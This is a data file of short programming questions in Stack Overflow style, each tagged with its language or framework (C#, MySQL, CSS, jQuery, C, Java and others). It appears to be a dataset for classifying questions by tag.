issue with  file browser dialog  when combining files  currently  i have a browser dialog that opens and allows the user to select a folder in which doc / docx files will be merged into one file. at the moment  it is rigged up to merge files once the  dialogresult.ok  button is dismissed in the browser dialog. as shown below:   <pre><code>private void browsebutton_click(object sender  eventargs e)     {         folderbrowserdialog diagbrowser = new folderbrowserdialog();         diagbrowser.description =  select a folder which contains files needing combined... ;          // default folder  altered when the user selects folder of choice          string selectedfolder = @ c:\ ;         diagbrowser.selectedpath = selectedfolder;          // initial file path display         folderpath.text = diagbrowser.selectedpath;          if (dialogresult.ok == diagbrowser.showdialog())         {             // grab the folder that was chosen             selectedfolder = diagbrowser.selectedpath;             folderpath.text = diagbrowser.selectedpath;     }      private void combinebutton_click(object sender  eventargs e)     {             string[] alldocfolder = directory.getfiles(selectedfolder   *.doc );            string outputfilename = (@ c:\test\merge\combined.docx );            msword.merge(alldocfolder  outputfilename  true);              // message displaying how many files are combined.              messagebox.show( a total of   + alldocfolder.length.tostring() +   documents have been merged    success   messageboxbuttons.ok  messageboxicon.information);         }      } </code></pre>   the issue i am having is that i want the  combinebutton  to merge the documents as opposed to the  dialogresult.ok . when i copy the lines:   <pre><code> string[] alldocfolder = directory.getfiles(selectedfolder   *.doc );            string outputfilename = (@ c:\test\merge\combined.docx );            msword.merge(alldocfolder  outputfilename  true); </code></pre>   into the combinebutton area  i get an error saying  the name  selectedfolder  does not exist in the current context . this may be a stupid question  but is there a quick way to remedy this,c#
quartz2d performance - how to improve  i am working in ios and have been presented with this problem.  i will be receiving a relatively large set of data (a 500x500 or greater c-style array).  i need to construct what is essentially an x/y plot from this data  where each datapoint in the 500x500 grid corresponds to a color based on it s value.  the thing is that this changes over time  making some animation as it were  so the calculations have to be fast in order to change when a new set of data comes in.    so basically  for every point in the array  i need to figure out which color it should map to  then figure out the square to draw on the grid to represent the data.  if my grid were 768x768 pixels  but i have a 500x500 dataset  then each datapoint would represent about a 1.5x1.5 rectangle (that s rounded  but i hope you get the idea).    i tried this by creating a new view class and overriding drawrect.  however  that met with horrible performance with anything much over a 20x20 dataset.    i have seen some suggestions about writing to image buffers  but i have not been able to find any examples of doing that (i m pretty new to ios).  do you have any suggestions or could you point me to any resources which could help     thank you for your time     darryl,ios
mysql get latest 10 records records using offset & limit   lets say i have a <code>article</code> table &amp; i want to get the latest articles (10 of them) &amp; then also be able to make another call to get the next 10 latest articles (10-20). to give you an idea to why i want to be able to do this  it s so i can add a <code>nexturl</code> field to my <code>api</code> call.    i was hoping i d be able to use <code>offset &amp; limit</code> to achieve this. but it seems as though i can only do this from the records that were entered first. any ideas,mysql
how to subtract two columns in different table  i have a table of ward   <pre><code>ward_number | class | capacity ________________________________________ 1           | a1    | 1 2           | a1    | 2 3           | b1    | 3 4           | c     | 4 5           | b2    | 5 </code></pre>   <em>capacity = how many beds there is in the ward</em>    i also have a table called ward_stay:   <pre><code>ward_number | from_date   | to_date _____________________________________________ 2           | 2015-01-01  | 2015-03-08 3           | 2015-01-16  | 2015-02-18 6           | 2015-03-05  | 2015-03-18 3           | 2015-04-15  | 2015-04-20 1           | 2015-05-19  | 2015-05-30 </code></pre>   i want to count the number of beds available in ward with class  b1  on date  2015-04-15 :   <pre><code>ward_number  | count  _____________________   3          | 2      </code></pre>   how to get the count is basically capacity - the number of times ward_number 3 appears    i managed to get the number of times ward_number 3 appears but i don t know how to subtract capacity from this result.     here s my code:   <pre><code>select count(ward_number) as  result  from ward_stay where ward_number = (select ward_number                      from ward                       where class =  b1 ); </code></pre>   how do i subtract capacity from this result,sql
for loop printing last number in sequence  how can you print out the last number in the sequence and the amount of times it has ran in a for loop    <pre><code>  int numone = 50;             for (int i = 0; i &lt; numone; i++)             {                 console.writeline(i);             } </code></pre>,c#
please explain this php code  <<<css  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3737139/reference-what-does-this-symbol-mean-in-php >reference - what does this symbol mean in php </a><br>   <a href= https://stackoverflow.com/questions/6062830/what-is-the-name-for-the-operator >what is the name for the &ldquo;&lt;&lt;&lt;&rdquo; operator </a>    </blockquote>     i can infer what this is doing but i need to know how  and possible find some documentation. the expression in the title <code>&lt;&lt;&lt;css</code> seems to set up a block of css to be inserted into a template. however there are no functions to strip the <code>&lt;&lt;&lt;css</code> from these text strings yet they do not appear. this leads me to believe that <code>&lt;&lt;&lt;</code> is not just a random marker but has special php meaning. please help.   <pre><code>if(!empty($background[ header_image ])){     $header_image = &lt;&lt;&lt;css background-image: url( {$background[ header_image ]} ); background-repeat: {$background[ header_repeat ]}; background-position: top {$background[ header_position_x ]}; background-attachment: scroll; css;` </code></pre>,php
how can i create rounded background on hover   i try to have below rounded border on hover:    <img src= https://i.stack.imgur.com/7mx5e.png  alt= enter image description here >   <pre><code>.memberinfo .taglist .interests:hover {     background-color: #dfe7f5;     color: #206cc3;     border-radius: 10px 0px 10px 0px; } </code></pre>   i have something weird with above code.    how can i make such a border,css
unexpected unqualified-id s and initializers before  i get error messages saying <code>expected unqualified id or initializers</code> and im clueless. it was working before  same code  but not anymore.    <pre><code>#ifndef myclass_h #define myclass_h #include &lt;iostream&gt; using namespace std;   class bank {     public:        bank();        void setaccount(string a){ //unqualified id before {           account = a;        }     }     string getaccount() { // expected initializer before getaccount         return account;     }  private:                  // unqualified id before private     string account;   }; // expected declaration   #endif // myclass_  </code></pre>,c++
multi database support  when creating an app with multi-database support what are the advantages and disadvantages of using enterprise library vs using a generic object of type oledb,.net
what is a circular reference and a loop  <pre><code>public class employee {     public string name { get; set; }     public department department { get; set; } }  public class department {     public string name { get; set; }     public employee manager { get; set; } }  public class departmentscontroller : apicontroller {     public department get(int id)     {         department sales = new department() { name =  sales  };         employee alice = new employee() { name =  alice   department = sales };         sales.manager = alice;         return sales;     } } </code></pre>   the controller action will return this json (after changing settings to preserve object references)   <pre><code>{       $id : 1       name : sales       manager :{          $id : 2          name : alice          department :{             $ref : 1        }    } } </code></pre>   apparently the <code>employee.department</code>  property creates a loop and why is it a problem  what exactly is this loop  i don t see it.,asp.net
mysql transaction rollback on user defined errors <pre><code>create procedure `sp_fail`() begin     declare `_rollback` bool default 0;     declare continue handler for sqlexception set `_rollback` = 1;     start transaction;     insert into `tablea` (`date`) values (now());     insert into `tableb` (`date`) values (now());     insert into `tablec` (`date`) values (now()); -- fail     if `_rollback` then         rollback;     else         commit;     end if; end$$ </code></pre>   -- above procedure is fine  that rollback on sql exceptions  but can we rollback transaction on validations  . eg. i want to rollback all records if  date  is not current year or if  date  is null or some key-value not passed.,mysql
using two versions of java in one windows machine  i have two jdk versions installed. jdk 9 64 bit and jdk 8 32 bit. now i need to run a jar file that runs only using 32 bit jre. but i want to keep both of them. after installing jdk 9 my java version is showing it  hence my path was set to jdk 8.<br> how to can i manage this  please answer me in detail  as i am a novice developer.,java
touchesbegan at the viewcontroller  is it possible to know which of the several controls contained in my viewcontroller s main view is affected by the present touch event,iphone
multiply two fields  there is a one section of orders page where users can add new fields to add new products. they choose a product from a drop down menu and its price is written in another column. i need to add a functionality that will allow users to enter quantity amount  and total price will be updated as soon as quantity amount changes. i tried it with the following codes but i keep receiving 0 for the total price.    my codes.   <pre><code>$( #addproduct ).click(function() {     var i = 0;     var adding = $(+(i++)+ &lt;div class= row +(i)+  &gt;&lt;div class= column width50 &gt;&lt;input type= text  id= productname  name= productname +(i)+   value=   class= width98  /&gt;&lt;input type= hidden  class= productid  name= productid  /&gt;&lt;input type= hidden  class= unitprice  name= unitprice +(i)+   /&gt;&lt;small&gt;search products&lt;/small&gt;&lt;/div&gt;&lt;div class= column width20 &gt;&lt;input type= text  class= unitquantity  name= unitquantity +(i)+   value=   class= width98  /&gt;&lt;small&gt;quantity&lt;/small&gt;&lt;/div&gt;&lt;div class= column width30 &gt;&lt;span class= prices &gt;unit price:&lt;span class= unitprice &gt;&lt;/span&gt;&lt;br /&gt;total price:&lt;span class= totalprice &gt;&lt;/span&gt;&lt;br /&gt;&lt;a href= #  id= removeproduct( .row +(i)+  ); &gt;remove&lt;/a&gt;&lt;/span&gt;&lt;/div&gt; );         $( #orderproducts ).append(adding);      adding.find( #productname ).autocomplete( orders.cs.asp process=listproducts   {         selectfirst: false     }).result(function(event  data  formatted) {         if (data) {             adding.find( .unitprice ).html(data[1]);             adding.find( .productid ).val(data[2]);             adding.find( .totalprice ).html(data[1] * $( .unitquantity ).val());          }     });      return false; });               &lt;div id= orderproducts &gt;                 &lt;a href= #  id= addproduct &gt;&lt;img src= icons/add.png  alt= add  /&gt;&lt;/a&gt;             &lt;/div&gt;   </code></pre>,jquery
"javascript quiz  appropriate message should be displayed and submit button issue  my task consists of writing javascript code for a quiz. every piece of code is good but  the main problem is that i should display another message at the end of the quiz saying that if i got all questions correct. a congratulation message should be displayed. (for ex. you got 3 of 3 questions correct  congratulations.)also  we cannot proceed to the next page if the current question hasn t been answered.the submit button should be disabled. should i use an alert box      <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var pos = 0  test  test_status  question  choice  choices  cha  chb  chc  correct = 0;
 var questions = [
     [  what is 10 + 4     12    14    16    b  ] 
  [  what is 20 - 9     7    13    11    c  ] 
  [  what is 7 x 3     21    24    25    a  ] 
  [  what is 8 / 2     10    2    4    c  ]
 ];
 function _(x){
  return document.getelementbyid(x);
 }
 function renderquestion(){
  test = _( test );
  if(pos &gt;= questions.length){
   test.innerhtml =  &lt;h2&gt;you got  +correct+  of  +questions.length+  questions correct&lt;/h2&gt; ;
   _( test_status ).innerhtml =  test completed ;
   pos = 0;
   correct = 0;
   return false;
  }
  _( test_status ).innerhtml =  question  +(pos+1)+  of  +questions.length;
  question = questions[pos][0];
  cha = questions[pos][1];
  chb = questions[pos][2];
  chc = questions[pos][3];
  test.innerhtml =  &lt;h3&gt; +question+ &lt;/h3&gt; ;
  test.innerhtml +=  &lt;input type= radio  name= choices  value= a &gt;  +cha+ &lt;br&gt; ;
  test.innerhtml +=  &lt;input type= radio  name= choices  value= b &gt;  +chb+ &lt;br&gt; ;
  test.innerhtml +=  &lt;input type= radio  name= choices  value= c &gt;  +chc+ &lt;br&gt;&lt;br&gt; ;
  test.innerhtml +=  &lt;button onclick= checkanswer() &gt;submit answer&lt;/button&gt; ;
 }
 function checkanswer(){
  choices = document.getelementsbyname( choices );
  for(var i=0; i&lt;choices.length; i++){
   if(choices[i].checked){
    choice = choices[i].value;
   }
  }
  if(choice == questions[pos][4]){
   correct++;
  }
  pos++;
  renderquestion();
 }
 window.addeventlistener( load   renderquestion  false);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h2 id= test_status &gt;&lt;/h2&gt;
 &lt;div id= test &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var pos = 0  test  test_status  question  choice  choices  cha  chb  chc  correct = 0;
 var questions = [
     [  what is 10 + 4     12    14    16    b  ] 
  [  what is 20 - 9     7    13    11    c  ] 
  [  what is 7 x 3     21    24    25    a  ] 
  [  what is 8 / 2     10    2    4    c  ]
 ];
 function _(x){
  return document.getelementbyid(x);
 }
 function renderquestion(){
  test = _( test );
  if(pos &gt;= questions.length){
   test.innerhtml =  &lt;h2&gt;you got  +correct+  of  +questions.length+  questions correct&lt;/h2&gt; ;
   _( test_status ).innerhtml =  test completed ;
   pos = 0;
   correct = 0;
   return false;
  }
  _( test_status ).innerhtml =  question  +(pos+1)+  of  +questions.length;
  question = questions[pos][0];
  cha = questions[pos][1];
  chb = questions[pos][2];
  chc = questions[pos][3];
  test.innerhtml =  &lt;h3&gt; +question+ &lt;/h3&gt; ;
  test.innerhtml +=  &lt;input type= radio  name= choices  value= a &gt;  +cha+ &lt;br&gt; ;
  test.innerhtml +=  &lt;input type= radio  name= choices  value= b &gt;  +chb+ &lt;br&gt; ;
  test.innerhtml +=  &lt;input type= radio  name= choices  value= c &gt;  +chc+ &lt;br&gt;&lt;br&gt; ;
  test.innerhtml +=  &lt;button onclick= checkanswer() &gt;submit answer&lt;/button&gt; ;
 }
 function checkanswer(){
  choices = document.getelementsbyname( choices );
  for(var i=0; i&lt;choices.length; i++){
   if(choices[i].checked){
    choice = choices[i].value;
   }
  }
  if(choice == questions[pos][4]){
   correct++;
  }
  pos++;
  renderquestion();
 }
 window.addeventlistener( load   renderquestion  false);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h2 id= test_status &gt;&lt;/h2&gt;
 &lt;div id= test &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
the controls collection cannot be modified because the control contains code blocks - error only when it is in head block  agree my question is <a href= https://stackoverflow.com/questions/778952/the-controls-collection-cannot-be-modified-because-the-control-contains-code-bl >duplicate of this one</a> and accepted answer works for me too. let me clarify why.    when i have <code>&lt;%=</code> in head it <em>gives error</em>.    when i have <code>&lt;%=</code> in body it <em>works</em>.    when i have <code>&lt;%#</code> in head it <em>works</em>.    i am just curious to know the reason for all three scenarios.    <strong>additionally</strong> i created test project to emulate the issue but in that case all three situation works.    my page is too big and i am unable to decide what code to paste.,asp.net
how to prevent one table from obeying css rule  i already have the following css in my stylesheet which adds a counter to each row for all tables in the app:   <pre><code>tbody {   counter-reset: rownumber; }  tbody tr {   counter-increment: rownumber; }  tbody tr td:first-child::before {   content: counter(rownumber);   min-width: 1em;   margin-right: 0.5em; } </code></pre>   i now have one table that i don t want to add the counter to  i.e.  disobey the css rule  out of the scores of tables that the site generates. would i need to put a unique class name for those three table elements for those tables i want to obey those rules  and then change the css accordingly  ugh. just thought there may be a way of saying   don t follow the css on this table  for this situation.,css
what s the memory cost of a dataset vs other .net collection classes   in our now-not-so-modern n-tier application we make intesive use of datasets and we are evaluating the change to other lighter objects (i.e. collections of typified objects).     is there any reference document about how much can we gain in memory consumption by doing that,.net
jquery search for strings in array  via textfield (id= preset_searchfield ) i can search my table by jquery. only the rows that contain the search-text are visible:   <pre><code>    $( #tab_body tr ).hide();     $( #tab_body tr td:contains(   + $( #preset_searchfield ).val() +   ) ).each(function(){         $(this).parent().show();     }); </code></pre>   this is working. now i want to search multiple words divided by a space. therefore i split the searchstring like this:   <pre><code>    var searchstring = $( #preset_searchfield ).val();     var searcharray = searchstring.split(   ); </code></pre>   what do i have to do in order to make all rows visible that contain words from my array,jquery
add fixed width border around image of varying width  i have a number of images of items on a white background.. some images are wider than others. i would like to add a border around the images  but want the border to be fixed width (say 100px)     basically i want to have a variable amount of padding (between image and border) so that image width + padding (left and right) = 100px    here is the code i m working with:   <pre><code>    &lt;td style =  vertical-align: middle; border-left: &gt;       &lt;div style= border: 1px solid #dddddd; width:200px; text-align:center &gt;         &lt;a href= /styles/15 &gt;&lt;img alt= blah  class= thumbnail  src= blah  style= vertical-align: middle; border:none; height:65x; text-align:center  /&gt;&lt;/a&gt;        &lt;/div&gt;     &lt;/td&gt; </code></pre>,css
the name  modtosend  does not exist in the current context   i have this simple piece of coding in my homecontroller.cs  but i receive the error message on the last line  saying  the name  modtosend  does not exist in the current context . how is that possible  only in the last line is it not known       <pre><code>public class homecontroller : controller  idisposable {     private mvceshop2.wcfeshop2service.eshop2serviceclient proxy = null;      private string getduration(datetime startdatum  datetime einddatum)     {         string maand1 = startdatum.month.tostring( mmmm );         string maand2 = einddatum.month.tostring( mmmm );         string duration =   ;         if (maand1 == maand2)         {             duration = startdatum.day.tostring()                 +   -   + einddatum.day.tostring()                 +     + maand1                 +     + startdatum.year.tostring();         }         else         {             duration = startdatum.day.tostring()                 + startdatum.month.tostring( mmmm )                 +   -   + einddatum.day.tostring()                 +     + einddatum.month.tostring( mmmm )                 +     + startdatum.year.tostring();         }         return duration;     }       public homecontroller()      {          proxy = new mvceshop2.wcfeshop2service.eshop2serviceclient();      }      struct eventstruct     {         public sevent event { get; set; }         public string duration { get; set; }     };      public actionresult index()     {         list&lt;sevent&gt; modfromwcf = proxy.getalleventsbyperiod(@system.datetime.now.year  @system.datetime.now.year + 1   en ).tolist();         list&lt;eventstruct&gt; modtosend = new list&lt;eventstruct&gt;();         foreach (sevent item in modfromwcf)         {             eventstruct es;             es.event = item;             es.duration = getduration(item.startdate  item.enddate);             modtosend.add(es);         };          return view( index   modtosend);     } } </code></pre>,c#
assign a value to filters in angularjs   my json data are like: records.json   <pre><code>[   {    id : 1      name : report1        category : a      }     {    id : 2      name : report2        category : a      }    {    id : 3      name : report3        category : b      }    {    id : 4      name : report4        category : c      }  ] </code></pre>   and html page is like :   <pre><code>&lt;input ng-model= query  /&gt; &lt;li ng-repeat= record in records | filter:query  /&gt; </code></pre>   this code gives the list of records according to query  but i want only those records which having only category a.,angularjs
what is the key different between asp.net 2008 with web developer express 2008   // question has been modified    i start to learn asp.net and the book uses web developer express 2008 as the development platform. i would like to know what the key difference between using the professional vs 2008 and this free express version.    thank you,asp.net
multiple submit buttons from multiple custom controls messing up the postback in asp.net  i currently have a scenario where i am including two custom controls into a page  where each custom control has a submit button. the submit button works as long as only one control is added to the page  but once the second control is loaded both of the submit buttons stop working  the control never goes to the submit_click method in the custom control.    thanks.,asp.net
server is not serving files from assets/images  i just deployed the site using mina. all the js and css works  but there are some files in assets/images that are being used by colorbox that are not being served.    <pre><code>failed to load resource: the server responded with a status of 404 (not found) http://pykture.com/assets/controls.png </code></pre>   i have changed this to true   <pre><code>config.serve_static_assets = true </code></pre>   but still no luck. how can i get these image files served,ruby-on-rails
how to find out default jvm options when you start jar  how can i find out default options of a jvm when i start some jar file   except those options  which are specified in a command  like java -jar somefile.jar -xx:maxpermsize=256m. so  what i need to know is there any other hided options of a jvm which i can find,java
using sql server 2008 instead of sqlite in iphone  i have created an application that makes use of database.    can i use sql server 2008 in the iphone to store data instead of sqlite,iphone
update and select query together to update table data from same table  i having a table given in image wich having columns a b c d thats stored in column ans i want to update the table s conclusion column with ans columns value. i make a select query to get the value of a b c or d which is stored in ans column .but now i am confuse how to update that value in conclusion with update and select together.   <pre><code>select case when (select ans from `test` q1 where `ans`!=   and q1.id=q2.id)= a  then a else case when (select ans from `test` q1 where `ans`!=   and q1.id=q2.id)= b  then b else case when (select ans from `test` q1 where `ans`!=   and q1.id=q2.id)= c  then c else d end end end as data from test q2 </code></pre>  <h2><a href= https://i.stack.imgur.com/haxl5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/haxl5.png  alt= enter image description here ></a></h2>,mysql
struct definition and setting member of struct  i wanted to understand why with this struct definition  we can directly use the name <code>event</code> to assign values to structure members. i have seen other definitions  where <code>struct</code> keyword is used to assign values.   <pre><code>struct {     int eventnum;     int eventtype; } event;  void function() {     event.eventnum = 10;  } </code></pre>,c
how to convert my json to datatable   i have the below json  which i want to convert to datatable  i am tried the below code  but it errors out. can someone help me with this   <pre><code>[         {              attributes : [                 {                      productid : 100                       attributecode :  code                        attributevalue :  xyz                  }                  {                      productid : 100                       attributecode :  pid                        attributevalue :  71                  }                  {                      productid : 100                       attributecode :  status                        attributevalue :  active                  }                  {                      productid : 100                       attributecode :  type                        attributevalue :  offering                  }             ]               masterid : 100               productname :  core credit services          }     ]  string path = @ c:\data\test.txt ;              if (!file.exists(path))             {                 messagebox.show( file does not exist );                 return;             }              string json = file.readalltext(path);              jarray j = jsonconvert.deserializeobject&lt;jarray&gt;(json);              rootobject rt = jsonconvert.deserializeobject&lt;rootobject&gt;(json); </code></pre>   when i try with   <pre><code>dynamic obj = jsonconvert.deserializeobject(json  typeof(object)); </code></pre>   it works but not sure how to access each object or value and convert to datatable,.net
relative vs absolute position css when working screen responive  what is the different between absolute and relative positions when you are using a screen responsive design,css
auto detect device orientation  how to achieve the following functionalities in iphone app.    always app launch portrait mode. if the simulator is landscape mode first launch in portrait mode then detect the device orientation change the app according to the current device orientation.,ios
rails: controller code out of control  first off  i must apologize for the punny title.    with that out of the way  i m new to ror and i am working on a small project that is slowly growing in size. one of the controllers is now a mess of logic that i would like to refactor it.    what i m seeing from a multitude of questions/answers out there on this topic is mostly fragmented information on what i think is best practice. i m having a hard time seeing the big picture. the sites for  where to put code   have a high level information and miss the nitty-gritty.    here s the question:    what s the best practice for refactoring code out of controllers  (locations  type of code)    background: my app does not use a database  the code in the controller is mostly http calls to external apis based on params from a form  and a few lines of logic for creating arrays with fetched data for the view to consume. some of these api calls depend on previously fetched info.    thank you very much in advance!    mp,ruby-on-rails
split a phone number into three groups  i have a problem with a program that should split a phone number(ex. 1231231234) that user enters into three groups and display them like this (123)-123-1234. i m not sure how to split this number and what to use in order to complete it. i didn t completed the code party but here s what i got.    <pre><code>#define size 3 int main(void){         int option  j;         int phlist = 0;         int phonenum[size];         printf( ---=== phone numbers ===---\n );         while(1){                 printf( \n );                 printf( 1. display phone list\n );                 printf( 2. add a number\n );                 printf( 0. exit\n );                 printf( \n );                 printf( please select from the above options:  );                 scanf( %d   &amp;option);                 if(option == 0){                         printf( exiting phone number app. good bye!!!\n );                         return 0;                 }                 if(option == 1){                         printf( \n );                         printf( phone numbers\n );                         printf( ==============\n );                         for(j = 0; j &lt; phlist; j++){                                 printf( \n   phonenum[j]);                         }                 }                 if(option == 2){                         if(phlist &lt; size){                                 printf( \n );                                 printf( add a number\n );                                 printf( ============\n );                                 scanf( %d   &amp;phonenum[phlist]);                                 phlist++;                                 } else {                                         printf( add a number\n );                                         printf( ============\n );                                         printf( error!!! phone number list is f$                                         }                 }         } return 0; } </code></pre>,c
parsing string as properties  i am reading a properties file from database. i checked <code>java.util.properties</code> and there s no method to parse from a <code>string</code> instance. is there any way to do it,java
formatting a date from a nsstring  i am creating a nsdatecategory that formats a date but it always returns null  any ideas    <blockquote>    2011-06-05t16:55:00z  </blockquote>  <pre><code>+ (nsdate *)datefromstring:(nsstring *)datestring {     nslog(@ date string %@   datestring);      nsdateformatter *dateformatter = [[nsdateformatter alloc] init];     [dateformatter setdateformat:@ yyyy-mm-dd+hh:mm:ss ];     nsdate *result = [dateformatter datefromstring:datestring];     [dateformatter release];     return result; } </code></pre>,objective-c
how to add my methods into uitableviewdelegate  is it possible to add my own methods in the uitableviewdelegate   please explain using some example if it is possible.    thanks,iphone
turning a list of lists into columns  i have a group of lists that look like this when printed out:   <pre><code>    =================tableaus=================     ---1----2----3----4----5----6----7----8--- [k♠  5♠  10♥  2♥  7♦  q♣  4♣] [q♠  4♠  9♥  a♥  6♦  j♣  3♣] [j♠  3♠  8♥  k♦  5♦  10♣  2♣] [10♠  2♠  7♥  q♦  4♦  9♣  a♣] [9♠  a♠  6♥  j♦  3♦  8♣  none] [8♠  k♥  5♥  10♦  2♦  7♣  none] [7♠  q♥  4♥  9♦  a♦  6♣  none] [6♠  j♥  3♥  8♦  k♣  5♣  none] </code></pre>   how do i turn these lists into neat columns  i also want to remove the  none  from the last 4 lists but so far my attempts to do so have given me errors.,python
for ios  how to print the type of a object  i  try the <code>iskindof</code> method to print the type. but i want to know any other way to print the type of a object  seeking for help.,ios
how can i get the add using mopub sdk  iam doing one application.in that my requirment is using mopub sdk i need to get the advertisment and display that one.but main problem is i dont want to get the advertisment from mopub server.i need to use my own server address.so please tell me how can change the server address and may i need to change anything.,iphone
objective-c - image.size.width works but [[image size] width] doesn t. message notation for struct cgsize   objective-c -  image.size.width works but [[image size] width] doesn t. message notation for struct cgsize     i m a big fan of classic message notation in objective-c  don t know why but it just clicks.    image.size.width works and returns and int  however [[image size] width] doesn t    i understand why it doesn t  [image size] returns a cgsize struct which is c  and message notation doesn t work there. however using image.size.width just masks everything and it seems everything is like c  which it isn t.    how would message notation combine with this to keep both objective and c expressiveness,objective-c
jquery deferred rejection  i m trying to do this:   <pre><code>senddetails(formdata).done(checkerrors).done(nextform); </code></pre>   where senddetails returns a jquery.ajax(...) object    and checkerrors for now is    <pre><code>function checkerrors(data) {     $.deferred().reject(); } </code></pre>   i was under the assumption that this would prevent the call to nextform  but it doesn t - what am i missing     using jquery 1.11,jquery
how to do exact calculation when numbers are not in safe integer range   <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/number/issafeinteger  rel= nofollow >i found that javascript performs an exact calculation when numbers are in safe integer range</a>   <pre><code>number.min_safe_integer = -9007199254740991 = math.pow(2  53) - 1 number.max_safe_integer = 9007199254740991 = -(math.pow(2  53) - 1) </code></pre>   is it possible to do calculation beyond this range without rounding off and losing precision,javascript
css specification: what has more  weight   in css specification what will affect more an <strong>inline</strong> style or external !important   <pre><code>&lt;div id= di  style= color: red; &gt;&lt;/div&gt; </code></pre>   external  style.css :   <pre><code>#di{color: green!important;} </code></pre>   the div text color will be red or green     does it mather here  if i use class or id     i got this situation that got me thinking about the previous on:   <pre><code>&lt;div id= di &gt;&lt;img src= ..  /&gt;&lt;/div&gt; </code></pre>   -> i am trying to change the image from css  is it possible  when i tried to use    <pre><code>background-image: url(...)!important; </code></pre>   from an external stylesheet it didn t effect the  div . there is solution for that,css
i am trying to delete a word from a file in c  i wrote a program to remove a certain word (taken as user input) from a file. i read the word  opened the file from which i wanted to delete the word  read each line in the file and split it into words  and compared each word with my keyword. if they are not a match  i printed them into a temporary file.    but when i open the temp file  the entire text has been copied. can somebody help me       <pre><code>#include&lt;stdio.h&gt; #include&lt;fcntl.h&gt; #include&lt;string.h&gt;  main() { int i; file *fp1 *fp2; char key[1000] a[1000] temp[1000];  printf( \nenter the word to be deleted from file :  ); scanf( %s  key);  fp1 = fopen( a.txt   r ); fp2 = fopen( b.txt   w );  while(fgets(a 1000 fp1)) {     for(i=0;a[i]!= \0 ;++i)          if(a[i]==   )             break;         else                         temp[i]=a[i];     temp[i]= \0 ;     if(strcmp(temp key)!=0)     {         fputs(temp fp2);     }      bzero(a 1000); }  fclose(fp1); fclose(fp2);  printf( \n\n );  /*remove( a.txt ); rename( b.txt   a.txt );*/  } </code></pre>,c
how to fix c string inverse function bug   i am trying to write a function that can inverse the string contents. but when i run the program  it cannot work properly...... so my question is : can somebody tell me what is the problem of this code    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #define arr  it s a perfect day\n   char * string_in(char *  int); int main(void) {     char * ptr = arr  ans;     size_t size = strlen(arr);     printf( %d\n   size);     do     {         puts(ptr);         ans = string_in(arr  size);         puts(ptr);     }while(getchar() ==  \n );      return 0; }  char * string_in(char * tar  int n) {     char temp;     int index = n - 1;      for(int i = 0; i &lt; n; i++)     {         temp = *(tar+i);         tar[i] = tar[index];         tar[index] = temp;         index--;     }      return tar; } </code></pre>,c
eclipse java employee phone program  employee phone program compiled in eclipse with error:    <pre><code>exception in thread  main  java.lang.error: unresolved compilation problem:          at pcsettingfirstpj.ch8_1_1.main(employee.java:34) </code></pre>   with program:    <pre><code>package pcsettingfirstpj;  public class employee {     private char name;     private phone list;     class phone {         private long home  cell;         public phone(long phone1  long phone2){             home = phone1;  cell = phone2;         }         public void printphone(){             system.out.println( tel (home 2):   + home);             system.out.println( tel (mobile 2):   + cell);         }     }      public employee(char name  long home  long cell){         this.name = name;         list = new phone(home  cell);     }      public void printemployee(){         system.out.println( ====staff==== );         system.out.println( name:   + name);         system.out.println( tel (home 1):   + list.home);         system.out.println( tel (mobile 1):   + list.cell);         list.printphone();     } }  public class ch8_1_1 {     public static void main(string[] args) {         // todo auto-generated method stub         employee joe = new employee( a  28456789l  936555552l);         employee jane = new employee( b  23134563l 938444444l);         joe.printemployee();         jane.printemployee();     } } </code></pre>,java
how to add class on page load using angularjs   hi friends i have created a dynamic class on click on a tag  but that class is not working on while referesh page. can any one suggest me answer.    <strong>script</strong>   <pre><code>app.controller( con  function($scope){  $scope.yellowclass = function(){     $scope.class =  yellow ;  }; </code></pre>,angularjs
buttons same size in a horizontal menu bar   i m trying to create a horizontal nav menu using css  but i m having problems getting the buttons the same size  since they all adjust to the text length. i ve tried several tips: fixed width  padding  text-align  using em instead of px. some of them seems to work if i use display:block for a vertical menu  but as soon as i change to display:inline it doesn t work anymore.     here s my code for the navigation bar:   <pre><code>#navigation li { display: inline;  padding: 20px; text-decoration: none;  font-size: 2em;  background-image: url(../pics/skylt.png);  background-size: 175px 60px;  background-repeat: no-repeat;  background-position: 0px 10px; } </code></pre>,css
trace and debug php code  can somebody tell me how can php code be traced on a distant webserver  i tried with xdebug but i cannot find php.ini and other configuration files     thank you very much in advance!,php
add attributes to elements in ng-repeat  i have a    <pre><code>&lt;div ng-repeat= post in getserverposts()  &gt;  </code></pre>   where i ng-bind post.title and post.excerpt. posts also have unique a post.id but it is not shown (which is what i want since i don t bind it).    i am trying to find a way to allow the user to mark a post by somehow utilizing the post.id. that way  if a user marks a post it will automatically be marked next time the ng-repeat runs (every time the page loads).     i have played around with scopes in the controller but i can t figure out how to handle the post.id this way.     question is probably beyond newbie level and maybe there are smarter ways to do this. any hint or advice,angularjs
i can read xls file in php but when it xlsx then it will not working   i can read xls file in php but when it xlsx then it will not working  i want to read excel file with php,php
why does aliasing int& allow for the creation of the non-function type const (int&)   normally when working with constant to a reference one gets a compiler error  but not when aliasing or using templates. why is this so    <pre><code>int a = 5; using my_t = int&amp;; my_t const b = a; //#1 ok  int&amp; const c = a; //#2 compiler error </code></pre>   when running through the latest clang compiler (x86-64 clang (experimental p1144))  #1 gives me the warning:   <blockquote>    [x86-64 clang (experimental p1144) #1] warning:  const  qualifier on reference type  my_t  (aka  int &amp; ) has no effect   [-wignored-qualifiers]  </blockquote>   and #2 gives me the error:   <blockquote>    [x86-64 clang (experimental p1144) #1] error:  const  qualifier may not be applied to a reference.  </blockquote>   x86-64 gcc (trunk) gives an error for #2 but nothing for #1.,c++
a check for update feature  i am creating a small .net 4 application that will require small but frequent updates.  are there free/cheap services out there that will provide an update feature   or  is this something that has to be developed into the application,.net
